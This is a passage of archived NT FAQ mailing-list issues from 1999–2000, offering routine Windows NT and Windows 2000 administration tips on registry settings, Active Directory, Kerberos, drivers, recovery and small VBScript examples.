3, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ContentIndex
4, Double click MaxQueryExecutionTime and set to a higher value. Click OK
5, Double click MaxRestrictionNodes and set to a higher value. Click OK
6, Stop and start the Index Server service

--------------------------------------------------------------------------------

Till next week,

John


From: John Savill [john@savilltech.com]
Sent: 26 March 2000 11:18
To: NTFAQ Mailing List
Subject: ** NT FAQ, 27 March 2000 **

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Sorry I never mailed last week, I've been totally wrapped up in the new web version of the FAQ of which a prototype will be available next week.

There have been some new Windows 2000 fixes so check them out at http://windowsupdate.microsoft.com and office 2000 sr1 is out at http://officeupdate.microsoft.com.

The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi

New additions last week:

Q. What's the difference between manual and fast recovery in Windows 2000?
Q. I've deleted NTBOOTDD.SYS and can't find it anywhere.
Q. How do I get the RIO 500 player to work on Windows 2000?
Q. How can I restrict network browsing to users local workgroup/domain?
Q. How can I stop users browsing computers in their local workgroup/domain?
Q. How can I hide ALL desktop icons?
Q. How can set the primary DNS suffix in Windows 2000?
Q. How can I talk to a serial (COM) port from the command line/batch file?
Q. Internet Explorer Admin Kit version of IE 5.0 replaces the 128 bit encryption on Windows 2000.
Q. I'm unable to upgrade my Windows 2000 evaluation version to the full edition using a Windows 2000 upgrade CD.
Q. How do I upgrade my Windows 2000 installation to 128-bit encryption?
Q. How do I rename a file using WSH?
Q. How do I manually delegate authority in Windows 2000?
Q. How do I delegate authority in Windows 2000 using the Wizard?
Q. How do I use the Security Configuration and Analysis snap-in?
Q. How can a user request a certificate via the web?
Q. How can I administer printers via the web?
Q. How do I disable bus mastering on the 3COM 3C590 card?
Q. What is Kerberos?
Q. How is the shared key used by Kerberos distributed?
Q. How is the long term key between a client and the KDC distributed?
Q. How can I start Internet Explorer without the toolbars?
Q. I can't load the basicdc.inf using the Security Configuration and Template editor or get errors in event log if I implement it?

-----------------------------------------------------------------------------

Q. What's the difference between manual and fast recovery in Windows 2000?

A. Windows 2000 has two options when performing recovery, fast or manual.

When you select manual you have a number of options:

Inspect startup environment
(checks existence of boot.ini and the ARC paths therin)
Verify Windows 2000 system files
(performs a cyclic redundancy check (CRC) on the core boot/system files except ntbootdd.sys)
Inspect Boot Sector
(repairs active system partition boot sector and reinstalls boot loaded functionality)
If you select FAST repair it performs all of the above and additionally tries to load each Windows 2000 registry file (SAM, SECURITY, SYSTEM, and SOFTWARE). If a registry file is damaged or cannot be loaded, Repair copies the missing or corrupted registry file from the %SystemRoot%\Repair folder to the %SystemRoot%\System32\Config folder.

Because it may restore old registry backup files it may revert your installation back to an older configuration and if this happens you will need to manually restore a more up-to-date system state backup.

--------------------------------------------------------------------------------

Q. I've deleted NTBOOTDD.SYS and can't find it anywhere.

A. If in your boot.ini file your ARC paths consist of either SCSI() or SIGNATURE() you are using SCSI connection for the installation and the file NTBOOTDD.SYS contains the miniport device driver for the initial boot to communicate with the SCSI controller.

There is no such file as NTBOOTDD.SYS supplied with WIndows NT/2000 as its created during installation depending on your exact SCSI card.

This file is the specific SCSI miniport device driver for the SCSI adapter from which you are booting, renamed to Ntbootdd.sys and placed in the root folder of the system drive.

To fix copy the correct device driver for the SCSI controller in use on the computer, and then rename it to NTBOOTDD.SYS at the root of the system partition (C: normally).

For example you would rename aic78xx.sys for a 2940UW Adaptec card (either from the NT installation media or better from the latest service pack if supplied).

--------------------------------------------------------------------------------
Q. How do I get the RIO 500 player to work on Windows 2000?

A. I bought one of these and wasted ages trying to get it to work until I found some great instructions at http://sites.netscape.net/richij/rio500-win2000.html. The instructions show you how to use a special USB driver and a special version of the Audio software.

An alternative method which I've since found is to use the same USB driver (http://www.ntfaq.com/ntfaq/download/riousb.zip) and extract to a directory. Attach the RIO500 via USB and power it on. When it asks for a driver specify the location you extracted the ZIP to.

To actually copy the MP3 files to the RIO500 you can use RealJukeBox (http://www.realjukebox.com) which has a RIO500 add-on which is great. If you have trouble installing the add-on (maybe due to a firewall) just extract rio500.dll from http://www.ntfaq.com/ntfaq/download/rio500.zip to the Plug-in's directory of Real Jukebox (C:\Program Files\Real\RealJukebox\plugins), restart the software and you should be able to add it as a device (Options - Preferences - Portable players/storage - Add) and copy away. Its very cool :-)

--------------------------------------------------------------------------------
Q. How can I restrict network browsing to users local workgroup/domain?

A. By default when a user browses the network with Windows Explorer or My Network Places (Network Neighborhood) may domains/workgroups will be listed however it is possible to restrict so only computers in the users local workgroup/domain are displayed:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network (create the key if it does not exist)
3, From the Edit menu select New - DWORD value
4, Enter a name of NoEntireNetwork and press Enter
5, Double click the new value and set to 1. Click OK
6, Close the registry editor
7, Logoff and on again for the change to take effect

This can also be done with a Group Policy Object by setting User Configuration - Administrative Templates - Windows Components - Windows Explorer - No "Entire Network" in My Network Places.

--------------------------------------------------------------------------------
Q. How can I stop users browsing computers in their local workgroup/domain?

A. To stop users being able to list machines in their local workgroup/domain via Windows Explorer or My Network Places (Network Neighborhood) perform the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Network (create the key if it does not exist)
3, From the Edit menu select New - DWORD value
4, Enter a name of NoComputersNearMe and press Enter
5, Double click the new value and set to 1. Click OK
6, Close the registry editor
7, Logoff and on again for the change to take effect

This can also be done with a Group Policy Object by setting User Configuration - Administrative Templates - Windows Components - Windows Explorer - No "Computers Near Me" in My Network Places.

--------------------------------------------------------------------------------
Q. How can I hide ALL desktop icons?

A. Within the FAQ with have looked at ways to hide My Computer, Internet Explorer, Network Neighborhood from the desktop but there is a way to hide ALL icons (including any shortcuts) by performing the following (this does not stop their functionality only hides them from the desktop):

1, Start the registry editor (regedit.exe)
2, Move to HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
3, From the Edit menu select New - DWORD value
4, Enter a name of NoDesktop and press Enter
5, Double click the new value and set to 1. Click OK
6, Close the registry editor
7, Logoff and on again for the change to take effect

This can also be done with a Group Policy Object by setting User Configuration - Administrative Templates - Desktop - Hide all icons on Desktop.

Also note that with this enabled you cannot right click on the desktop to get a context menu.

--------------------------------------------------------------------------------
Q. How can set the primary DNS suffix in Windows 2000?

A. In Windows NT 4.0 you set the primary DNS suffix using the domain field in the DNS tab of TCP/IP properties.

In Windows 2000 this is performed as follows:

1, Right click on My Computer and select Properties
2, Select the Network tab
3, Click the Properties button
4, Click the More button
5, Enter the Primary DNS suffix and click OK
6, Click OK to the prompt informing you will need to reboot the computer
7, Close all dialogs
8, Reboot the computer

This is very important on domain controllers before configuring DNS as without this configured the created DNS records will not have the fully qualified host name.

--------------------------------------------------------------------------------
Q. How can I talk to a serial (COM) port from the command line/batch file?

A. NT is a model of inconsistency when it comes to redirecting stdin and stdout. You can redirect console output to a serial port easily, but receiving input from the port is a problem.

Command Line Terminal (CLT) for NT is a simple freeware utility designed to solve this issue. It can:

Opens a COM port using parameters you specify in an environment variable
Prints a message saying the port is open, or terminates with an error
Sends whatever you type at the console to the COM port
Prints whatever comes back from the COM port on the console
Exits if you hit <esc>

Download CLT.ZIP (32KB) from http://www.ntfaq.com/ntfaq/download/clt.zip.

--------------------------------------------------------------------------------
Q. Internet Explorer Admin Kit version of IE 5.0 replaces the 128 bit encryption on Windows 2000.

A. If you install a version of IE 5.0 on Windows 2000 created by the Internet Explorer Admin Kit with the 128 bit encryption (IE5DOM.EXE) you may receive the following error:

System cannot log you on because domain <Computer name> is not available.

This is caused by the Rsaenh.dll and Schannel.dll files in Windows 2000 being replaced by the earlier IE 5 versions (but only rsaenh.dll matters).

Basically you should not install IE 5.0 on Windows 2000, it already has 5.01 as part of the core product.

If you do want to distribute a newer version of IE in the future ensure you have the new encryption pack and create a separate build of Internet Explorer that includes the latest 128-bit encryption update for Windows 2000 (Encpack.exe). If this is not available do not include the /n:v switch if you use the Ie5dom.exe component to create a separate build of Internet Explorer for Windows 2000.

To resolve the issue download Encpack.exe and run (or run from the supplied floppy disk if in America).

If the machine cannot be logged in to then you need to use the recovery console to replace rsaenh.dll with the high encryption pack version (or use an alternate NT installation):

1, Start Recovery Console.
2, Change to the system32 directory
   cd system32
3, Check the rsaeng.dll file
   dir rsaenh.dll
4, Rename the existing rsaeng.dll file
   ren rsaenh.dll rsaenh.old
5, Insert the floppy disk that contains the high encryption pack files into the floppy drive.
6, Copy the file rsaengs.dll to rsaeng.dll
   copy a:\rsaenhs.dll rsaenh.dll
7, Type exit, and then press ENTER to restart the computer normally. Remove the floppy disk from the floppy drive.

--------------------------------------------------------------------------------
Q. I'm unable to upgrade my Windows 2000 evaluation version to the full edition using a Windows 2000 upgrade CD.

A. The Windows 2000 upgrade CD cannot be used to "upgrade" an existing Windows 2000 installation (a similar problem with NT 4.0 existed) and so you cannot use the Windows 2000 upgrade CD to upgrade Windows 2000 evaluation edition to the full version.

Microsoft have responded to customer feedback and released a wizard at http://www.microsoft.com/windows2000/downloads/deployment/evalupg/default.asp which can be used to upgrade the evaluation version to full using a Windows 2000 upgraded CD providing you also have a valid qualifying CD such as Windows 98 or NT 4.0.

If you have the full Windows 2000 CD then you don't need the evaluation upgrade wizard.

--------------------------------------------------------------------------------
Q. How do I upgrade my Windows 2000 installation to 128-bit encryption?

A. America relaxed the rules on exporting 128-bit encryption and so is now generally available to all (except certain countries).

If you purchased Windows 2000 in America/Canada you will have a floppy disk with the package which contains the 128 bit update.

If you don't have the disk you can download from http://www.microsoft.com/windows2000/downloads/recommended/encryption/default.asp.

To install perform the following:

1, Expand the downloaded Encpack_Win2000Admin_EN.EXE
2, Run the ENCPACK.EXE (this is the same step as if using the disk)
3, Click Yes to the confirmation to install
4, Click Yes to the license
5, Click Yes to reboot the computer
6, After reboot you will be using 128 bit encryption

--------------------------------------------------------------------------------
Q. How do I rename a file using WSH?

A. Using the MoveFile method on a FileSystem object will result in a file being renamed:

Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.MoveFile "file1.txt", "file2.txt"

--------------------------------------------------------------------------------
Q. How do I manually delegate authority in Windows 2000?

A. Windows NT basically had two types of users, Administrators and Users. While other groups exist such as Print Operators, Server Operators when it comes to authority of users you had all or none.

Now with the Directory Service holding much more than just passwords and profile settings its desirable for people other than Administrators to update information like address, telephone number (don’t want your highly paid Administrators managing the phone numbers!).

Its possible to allow certain users/group to manage properties of other users manually as follows:

1, Start the Active Directory Users and Computers MMC snap-in (Start – Programs – Administrative Tools – Active Directory Users and Computers)
2, Enable the Advanced View (View Menu – Advanced Features)
3, Right click on the User/Group/OU/Domain and select Properties from the context menu
4, Select the Security tab
5, Click the Advanced button
6, Under the Permissions tab either add a new user/group or select an existing permission entry and click ‘View/Edit..’ button
7, Select the Object or Properties tab and set the relevant Allow/Deny option for the specific option
8, Click OK to all dialogs

--------------------------------------------------------------------------------
Q. How do I delegate authority in Windows 2000 using the Wizard?

A. Its possible to delegate authority in Windows 2000 using a wizard which is simpler than manually delegating authority:

1, Start the Active Directory Users and Computers MMC snap-in (Start – Programs – Administrative Tools – Active Directory Users and Computers)
2, Right click on the container (domain/OU/built-in) and select ‘Delegate Control.’ from the context menu
3, Click Next to the intro wizard
4, Click Add to add users/groups that will have control delegated to them
5, Select the users/groups and click Add. Click OK. Click Next once users/groups have been selected
6, Select if all objects in the folder will be covered or only certain objects, e.g. select User objects only. Click Next
7, Select the type of permissions, General will normally be OK. Select the type of Permissions, e.g. ‘Read and write Phone and Mail Options’. Click Next
8, Click Finish to the wizard

--------------------------------------------------------------------------------
Q. How do I use the Security Configuration and Analysis snap-in?

A. The Security Configuration and Analysis snap-in has two important abilities.

The first is it can load in a security template and then compare your system to it highlighting any possible problems and the second is it can then apply those changes to bring your system to meet the requirements of the template.

To use perform the following:

1, Start the MMC snap-in (mmc.exe)
2, Add the Security Configuration and Analysis snap-in (Console – Add/Remove Snap-in – Add – Security Configuration and Analysis – Add – Close – OK)
3, Right click on the Security Configuration and Analysis route and select ‘Open database’
4, Enter a new name and click Open (e.g. titanic.sdb)
5, Select a template to use, e.g. securedc.inf and click Open
6, Right click on the root and select ‘Analyze Computer Now…’
7, Select a location for the log and click OK
8, After the analysis if you select a branch entries will have one of 3 options
   - A green tick means it meets the templates required value
   - A red cross means it does not meet the templates required value
   - A generic icon means the value is not defined in the template

To apply the changes right click on the root and select ‘Configure Computer Now’

--------------------------------------------------------------------------------
Q. How can a user request a certificate via the web?

A. Part of the Certification Service installation adds a virtual directory called CertSrv pointing to %systemroot%\System32\CertSrv which can be used to request certificates over the Intranet.

1, Goto http://<CA server>/certsrv
2, Select 'Request a certificate' and click Next
3, Select ‘User Certificate’ and click Next
4, Click ‘More Options’ button to see various CSP (Cryptographic Service Provider)
5, Selecting the Advanced form allows key size, hash algorithm etc to be set
6, Click Submit
7, A certificate will be generated, click ‘Install this Certificate’
8, Close the web page

The certificate will now have been installed and can be also viewed using the Certificates MMC snap-in for the user.

--------------------------------------------------------------------------------
Q. How can I administer printers via the web?

A. Windows 2000 adds a virtual directory Printers (which points to %systemroot%\web\printers) to the IIS service which allows remote managing of printers on a server, just connect to

http://<server>/Printers

It will display a list of all printers and then clicking on a printer allows documents on the printer to be managed as well as viewing its properties.

--------------------------------------------------------------------------------
Q. How do I disable bus mastering on the 3COM 3C590 card?

A. Its possible to disable bus mastering on the 3C590 to alleviate any possible busmaster contention. To disable perform the following:

1, Start the registry editor (regedit.exe)
2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\EL59X1 (if you have multiple adapters you will also have EL59X2 etc)
3, Select the Parameters key (if the key does not exist create it)
4, From the Edit menu select New - String value
5, Enter a name of Busmaster and press enter
6, Double click the new value and set to 'NO' (don't type the quotes)
7, Click OK
8, Restart the computer

Upon restart there should now be a system event:

"Busmaster support has been turned off for slot XX."

A newer version of the driver can be found at http://support.3com.com/infodeli/tools/nic/3C590.htm#ship

--------------------------------------------------------------------------------
Q. What is Kerberos?

A. Kerberos is new to Windows 2000 and is

"The hound of Hell. A three headed Dog with a Snake for a tail; guarded the entrance to the kingdom of Hades, the Underworld."

It replaces the Microsoft NTLM native communication for Windows 2000 computers but NTLM is still supported for compatibility with older NT 4, Windows 9x clients (as a side not NTLM version 2 is not supported in Windows 2000).

The idea is if two people know a secret they can communicate by encrypting a message with the secret and if they both know the secret they know the other person is who they say they are. The problem is the secret can’t be sent as just text over the network as anyone with a network sniffer could find the “secret”.

The Kerberos protocol solves this problem with secret key cryptography. Rather than sharing a password, communication partners share a cryptographic key which is symmetric in nature which means the single key can both encrypt and decrypt.

To communicate one side send the other an encrypted message containing their name and local time, the other machine then decrypts the packet with the symmetric key and if the time is close to its time then the match is OK.

The diagram shows this where KJB is the symmetric key shared by John and Bob.

The fact that time is part of the encryption technology is why Windows 2000 machines need to be time synchronized with a SNTP service.

But how is the shared key distributed if it can't be sent over the network? See the next FAQ.

--------------------------------------------------------------------------------
Q. How is the shared key used by Kerberos distributed?

A. The previous FAQ explained that two machines (a client and a server) can communicate via a shared symmetric key used to encrypt data however the problem is how they can distribute that shared key between them.

This is where the Key Distribution Center is used and it consists of a service which runs on all Windows 2000 domain controllers and generates the shared key for the client and server and sends it in an encrypted form to the client.

The KDC responds to the client's request to talk to a server by sending both copies of the session key to the client (one for the client, one for the server but it is the same key just packaged differently). The client's copy of the session key is encrypted with the key that the KDC shares with the client. The server's copy of the session key is embedded, along with authorization data for the client, in a data structure called a session ticket. The entire structure is then encrypted with the key that the KDC shares with the server. The session ticket - with the server's copy of the session key safely inside - becomes the client's responsibility to manage until it contacts the server.

The client extracts the Session Key using its key shared with the KDC. It extracts the servers session ticket (it can’t decrypt as it does not know the key shared between the server and the KDC). This information is stored in a secure cache on the client in memory (never written to disk). When it wants to communicate it sends it name and time encrypted in the shared key (which it extracted) to the server along with the servers session ticket. The server then decrypts the session ticket using the key shared with the KDC, extracts the session key and decrypts the client authenticator replying back with the workstations time encrypted with the session key.

All of this means the server does not have to store session keys for clients, its the clients responsibility to send the servers session ticket to the server as part of communication.

Also session tickets are good for a defined amount of time based on the Kerberos policy. This is normally 8 hours (a normal logon time) so the KDC is not contacted every time the client wants to talk to a server, it has the session ticket cached which is good for the day.

What about the server-KDC and client-KDC long-term key, how is that distributed, the next faq!

--------------------------------------------------------------------------------
Q. How is the long term key between a client and the KDC distributed?

A. The final stage in the Kerberos key exchange is the key used between a client (or server) and the KDC for distributing the session key used to encrypt information between a client and a server.

For this the client and the KDC share a long term key and this long term key is just a hashed version of the client users password.

The password is never sent over the network. When John logs on the Kerberos client on the workstation runs it through the one-way hash algorithm producing a cryptographic key.
This is sent to the KDC and at the KDC it extracts this hash from its record and checks they match. This only happens only on initial logon to the network.

At initial logon the Kerberos client asks the KDC for a session key and ticket it can use for further KDC communication during the logon session, this avoids the need for the hashed password to be constantly generated and checked.

The KDC replies with a copy of the session key it has generated for communication between the client and itself encrypted with the clients long-term key (hashed password). The client can decrypt using its cached long-term key.

The KDC also sends a copy of the session key encrypted with the KDC’s own long-term key which is known as the Ticket-Granting Ticket (TGT) and the client will send this in future to the KDC for communication in the same way the client-server session ticket worked. Only the KDC can decrypt the TGT as only it has its long-term key what the session key was encrypted with.

The Ticket Granting Ticket is valid only for the logon and discarded on logoff hence its also called a “logon session key”.

In future KDC communication the client would send the normal requests encrypted with its session key shared with the KDC and the KDC's TGT from which it can extract the session key needed to talk to the client. This means the KDC does not have to maintain a list of session keys for each client.

--------------------------------------------------------------------------------
Q. How can I start Internet Explorer without the toolbars?

A. Internet Explorer has a kiosk mode which fills the entire screen with no toolbars using:

iexplore -k

This may not be exactly what you want though so you could write a windows scripting host program which starts an IE object with the toolbar disabled:

Dim objIE
Set objIE = WScript.CreateObject ("InternetExplorer.Application")
ObjIE.Toolbar = false
objIE.Navigate "http://www.savilltech.com"
objIE.Visible = true

If you save the file has ienobar.vbs and then execute with

cscript ienobar.vbs

IE will be started with no toolbars.

--------------------------------------------------------------------------------
Q. I can't load the basicdc.inf using the Security Configuration and Template editor or get errors in event log if I implement it?

A. If you try and load the basicdc.inf file using the Security Configuration and Template MMC snap-in you get an error if you try and load the basicdc.inf file.

You also get errors in event viewer if you try and import it into a default domain controllers group policy object.

This is basically caused by an error in the .inf file which is trying to reference environment variables:

SYSVOL
DSDIT
DSLOG
The problem is they only exist during the DCPROMO process and so to resolve you need to manually add them to the machines environment space.

You should first make a note of what the values should be. To find sysvol perform the following:

C:\>net share sysvol
Share name SYSVOL
Path C:\WINNT\SYSVOL\sysvol
Remark Logon server share
Maximum users No limit
Users
The command completed successfully.

Make a note of the path name.

To find the DSDIT and DSLOG values check the registry at HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters

DSDIT is equal to 'DSA Working Directory' and DSLOG is equal to 'Database log files path'.

The next step is to create the environment variables:

1, Right click on 'My Computer' and select properties
2, Select the Advanced tab and click 'Environment Variables'
3, Under the 'System variables' area click New
4, Enter a name of 'SYSVOL' and the value equal to your net share sysvol value, e.g. C:\WINNT\SYSVOL\sysvol
5, Click OK
6, Repeat steps 3-5 for DSDIT and DSLOG also
7, Click OK to all dialogs
8, Goto to the command prompt and enter:
   C:\> secedit /refreshpolicy machine_policy /enforce

You should now be able to load the template with no problems and also this will solve any event log errors.

--------------------------------------------------------------------------------

Till next week,

John

=======================================================================
The NT Frequently Asked Questions List Created by John Savill
NT FAQ List delivery provided by ED-COM, http://www.ed-com.com
To unsubscribe from this list send a message to
mailto:nt-faq@ed-com.com with the word unsubscribe in the body
Problems with subscription? mailto:awoodrick@ed-com.com
=======================================================================


From: John Savill [john@savilltech.com] Sent: 27 September 1999 20:35 To: NTFAQ Mailing List Subject: NT FAQ, 27 September 1999 All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html ~~~~~~~~~~~~~~~~~UltraBac.com; Backup and Disaster Recovery Software~~~~~~~~~~~ Quote: " I'm impressed with UltraBac because it does such a great job of backing up 'in-use' files and the registry, and also because it can backup to another drive....I'm *very* impressed with your work ... and I sure feel that you deserve all the attention I could help bring to bear. *CONGRATULATIONS* on a truly lovely piece of work" Steve Gibson, Contributing Editor for InfoWorld Magazine and frequent guest on ZDTV. Download 45-day live trial (restore never dies) at http://www.ultrabac.com/counter/ntfaq0999.htm (only a 3 meg file) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ News: Platinum beta 3 was signed off last week (I was at Microsoft campus when it happened and the Exchange team were all soaking wet after jumping in the spa baths!!!!!). It was cool. To follow on, that's why there were not many updates as I was in Seattle most of last week and the Microsoft campus is amazing. We like Microsoft :-) They paid flight and accommodation and gave me lots of goodies! I also got to meet the Exchange and NT teams AND my fellow MVP's! Standard items: The NT FAQ book can be purchased via Amazon.com. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq Code to include the FAQ Search engine on your site: --------
Search the FAQ: tips for searching

Use Free-Text Query.

-------- Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site. As normal please post any questions/comments to the Windows FAQ Forum, http://www.ntfaq.com/cgi-bin/Ultimate.cgi New additions last week: Q. How can I modify the domain refresh interval? Q. How is the list of cached domains stored? Q. The default source path for my Windows 2000 installation is not correct. Q. How can I turn off/on connection ghosting? -------------------------------------------- Q. How can I modify the domain refresh interval? A. Windows refreshes the domain list whenever the machine is locked for more than two minutes (120 seconds). This can lead to a delay while it does this until the user gets control of the system again. You can modify the amount of time it waits until refreshing by performing the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon 3, Double click on DcacheMinInterval (or if it does not exist create of type REG_DWORD) 4, Modify between 120-86400 seconds 5, Click OK 6, Close the registry editor 7, Restart the computer -------------------------------------------------------------------------------- Q. How is the list of cached domains stored? A. When you logon a list of known (trusted) domains are displayed that you may logon to. You can view these entries by performing the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\DomainCache 3, You will be able to see all known domains 4, Close the registry editor There is no point editing this list as it will be recreated the next time the machine is started/locked. -------------------------------------------------------------------------------- Q. The default source path for my Windows 2000 installation is not correct. A. If you install Windows 2000 from a local hard disk, Windows 2000 defaults to the first installed CD-ROM drive letter when you make any changes to your installation that require files from the installation source. This does not occur if installation was completed using a network share. This means whenever it wants to add a component you have to correct the installation location. For example, if you install Windows 2000 from D:\2128\I386 (a local hard disk), Windows 2000 will default to E:\2128\I386 when the source files are needed (where E is the first CD-ROM drive letter). To fix the problem perform the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Setup 3, Double click on SourcePath and change to the correct location. Click OK. 4, Now move to HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion 5, Double click on SourcePath and change to the correct location. Click OK. 6, Close the registry editor It should now use the correct location when adding/fixing components. -------------------------------------------------------------------------------- Q. How can I turn off/on connection ghosting? A. Windows uses Ghosted connections for when a user doesn’t need or want an actual connection until there is a need for the connection to be utilized. Once the user uses the connection, Windows NT/2000 will make the necessary connection. In some instances, this technique can cause problems; for example, there will be a delay the first time that an inactive, ghosted connection is used. To turn off the ghosting and eliminate the initial delay when connecting perform the following: 1, Start the registry editor (regedit.exe) 2, Move to HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\NetworkProvider 3, From the edit menu select New - DWORD value 4, Enter a name of RestoreConnection and press Enter 5, Double click the new value, set to: 0 - Windows NT/2000 will ghost the connections 1 - Windows NT/2000 will not ghost the connections. Windows will restore connections when the user logs in 6, Click OK 7, Close the registry editor 8, Restart the computer -------------------------------------------------------------------------------- Till next week take care, John


From: John Savill [john@savilltech.com]
Sent: 28 April 1999 14:59
To: NTFAQ Mailing List
Subject: NT FAQ, 28 April 1999

All information in this mail message is Copyright John Savill and may not be reproduced nor distributed without written permission from the author. http://www.ntfaq.com/terms.html

News:

Sorry this is late. There was a problem with the engine that sends out the messages.

Standard items:

The NT FAQ book can now be reserved via Amazon.com and should be out June/July. http://www.amazon.com/exec/obidos/ASIN/0201606364/windowsntfaq

Code to include the FAQ Search engine on your site:

--------
<FORM ACTION="http://www.ntfaq.com/ntsearch.cgi">
<INPUT TYPE="text" SIZE="30" NAME="data">
<INPUT TYPE="submit" VALUE="Search">
</FORM>
The <A href="http://www.ntfaq.com">NT FAQ</A> is provided courtesy of <A
href="http://www.ntfaq.com/contact.html">John Savill</A>.
--------
Results will be displayed hyperlinked to answers in the NT FAQ. Put in a window and your visitors will be unaware they have left your site.

As normal please post any questions/comments to the NT FAQ discussion area,
http://www.ntfaq.com/discuss

New additions last week:

Q. How can I force replication between two domain controllers in a site?
Q. How can I change replication schedule between two domain controllers in a site?
Q. How can I get my PCI based sound card to work under Windows 2000?
Q. How can I configure the Administrative Tools to show on the Start menu?
Q. I have Windows 98 installed on C: with FAT32, how do I install NT?
Q. How can I stop the 'Welcome to Windows NT' screen during setup?
Q. How can I stop tips showing on startup?

-----------------------------------------------------------------

Q. How can I force replication between two domain controllers in a site?

A. In Windows NT 4.0 replication between domain controllers could be forced using Server Manager. Replication can also be forced with Windows 2000 domain controllers as follows.

1, Start the Active Directory Sites and Services MMC snap-in
2, Expand the sites branch which will show the various sites
3, The default site 'Default-First-Site-Name' may be your only site. Expand the site containing the domain controllers
4, Expand the servers
5, Select the server who you want to replicate to and expand it
6, Double click on NTDS Settings for the server
7, Right click on the server you want to replicate from
8, Select 'Replicate Now' from the context menu
9, Replication will occur. Click OK to the confirmation dialog.

The replication is one way and if you want two way replication you will need to replicate in each direction.

--------------------------------------------------------------------------------

Q. How can I change replication schedule between two domain controllers in a site?

A. By default domain controllers will replicate once an hour but this can be changed as follows. This is only for domain controllers in a single site, cross site replication is configured differently.

1, Start the Active Directory Sites and Services MMC snap-in
2, Expand the sites branch which will show the various sites
3, The default site 'Default-First-Site-Name' may be your only site. Expand the site containing the domain controllers
4, Expand the servers
5, Select the server who you want to configure replication to and expand it
6, Double click on NTDS Settings for the server
7, Right click on the server you want set replication from
8, Select 'Properties' from the context menu
9, Select the 'Active Directory Service connection' tab
10, Click the 'Change Schedule...' button
11, Modify the replication as required. Click OK
12, Click Apply then OK

This replication schedule is one way and would to be repeated for the other direction.

--------------------------------------------------------------------------------

Q. How can I get my PCI based sound card to work under Windows 2000?

A. There are currently problems in 2000 with PCI based sound cards, including the Creative PCI 64 and Creative PCI 128 however it is possible to use the NT 4.0 drivers after making a small change to your system.

The problem is that Windows 2000 uses IRQ steering by default. PCI bus IRQ steering gives Windows 2000 the flexibility to reprogram PCI interrupts when rebalancing Plug and Play PCI and ISA resources around non-Plug and Play ISA devices.

Without IRQ Steering Windows 2000 cannot rebalance PCI and ISA IRQs for Plug and Play devices around non-Plug and Play ISA devices to solve resource conflicts. For example, if your computer's BIOS is unaware of non-Plug and Play ISA cards, the operating system does not have PCI bus IRQ steering, and the BIOS has set a PCI device to IRQ 10, you may have a resource conflict when you add a non-Plug and Play ISA device that is configured for IRQ 10. However, with PCI bus IRQ steering the operating system can resolve this IRQ resource conflict.

To do so, the operating system:

-Disables the PCI device.
-Reprograms a free IRQ to a PCI IRQ, for example IRQ 11.
-Assigns an IRQ holder to IRQ 11.
-Moves the PCI device to IRQ 11.
-Reprograms IRQ 10 to be an ISA IRQ.
-Removes the IRQ holder for IRQ 10.

To disable IRQ Steering perform the following:

1, Start the Computer Management MMC snap-in (Start - Programs - Administrative Tools - Computer Management)
2, Expand the 'System Tools' branch
3, Select 'Device Manager'
4, In the right hand pane expand Computer and right click on 'Standard PC'
5, Select Properties from the context menu
6, Select the 'IRQ Steering' tab
7, Uncheck the 'Use IRQ Steering' box
8, Click OK
9, Reboot the machine

Once the machine has restarted you should be able to install your NT 4.0 PCI sound drivers (make sure you get the new drivers from the sound card makers website).

If you do not have a Standard PC, you must disable ACPI BIOS detection as follows:

Modify the file txtsetup.sif in the Windows 2000 Setup folder.
Change the line
ACPIEnable=2
to
ACPIEnable=0
Reinstall Windows 2000.

--------------------------------------------------------------------------------

Q. How can I configure the Administrative Tools to show on the Start menu?

A. By default under Windows 2000 Professional the Administrative Tools branch is not shown and it is on the Windows 2000 Server, Advanced Server and Datacenter products.

It can be configured as follows:

1, Start the 'Taskbar and Start menu' configuration (Start - Settings - Taskbar and Start menu)
2, Select the 'Start Menu Options' tab
3, Check or uncheck the 'Display Administrative Tools'
4, Click Apply then OK

This updates the registry entry HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced\StartMenuAdminTools to either NO or YES.

--------------------------------------------------------------------------------

Q. I have Windows 98 installed on C: with FAT32, how do I install NT?

A. Windows 2000 can read FAT32 with no problems and so installing Windows 2000 on a machine whose active partition (C:) is FAT32 requires no special steps.

Windows NT cannot read FAT32 and so special steps are necessary:

1, Create a primary partition at the beginning of the drive - Win98 has to install into the first partition for this to work (see notes below).
2, Mark this partition Active, install Win98 then convert the partition to FAT32. If you don't convert to FAT32, NT will try to install its loader files into this first partition. If this happens, you won't be able to convert Win98 to FAT32 later on because NT won't be able to boot.
